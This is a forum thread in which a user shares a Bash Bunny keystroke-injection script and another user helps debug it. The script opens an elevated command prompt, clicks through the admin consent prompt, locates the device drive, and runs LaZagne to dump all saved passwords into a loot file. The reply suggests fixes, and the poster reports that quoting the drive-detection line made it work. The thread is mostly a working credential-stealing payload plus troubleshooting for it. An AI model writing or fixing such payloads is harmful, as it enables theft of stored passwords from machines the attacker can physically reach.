vander Posted December 27, 2023 Posted December 27, 2023 Hello, I am trying to develop a script with the bash bunny to use lazagne to recover passwords the script is below. The problem is it stops after doing Alt y and does nothing else. I feel like I made a stupid mistake and can't find it. Any ideas ATTACKMODE HID STORAGE Q DELAY 1000 Q GUI r Q DELAY 250 Q STRING cmd Q CTRL-SHIFT ENTER Q DELAY 500 Q ALT y Q DELAY 500 Q STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "BashBunny"') do set myd=%d Q ENTER Q DELAY 250 Q STRING %myd%\payloads\switch1\LaZagne.exe all >> %myd%\loot\passwords.txt Q ENTER Q DELAY 5000 Q ALT F4 Quote
Solution dark_pyrro Posted December 28, 2023 Solution Posted December 28, 2023 If it stops after the execution of 15 hours ago, vander said: Q ALT y Then, I would probably focus on the line 15 hours ago, vander said: Q STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "BashBunny"') do set myd=%d The part 15 hours ago, vander said: for /f %d in ('wmic volume get driveletter^, label ^| findstr "BashBunny"') do set myd=%d is more commonly used (according to my experience) on a Ducky to get a drive letter. So, either you most likely need to wrap it in quotes and also escape special chars, or use another way of obtaining the Bunny drive letter using a PowerShell session instead. Quote
vander Posted December 28, 2023 Author Posted December 28, 2023 4 hours ago, dark_pyrro said: If it stops after the execution of Then, I would probably focus on the line The part is more commonly used (according to my experience) on a Ducky to get a drive letter. So, either you most likely need to wrap it in quotes and also escape special chars, or use another way of obtaining the Bunny drive letter using a PowerShell session instead. Wrapping in quotes fixed it, thank you so much Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.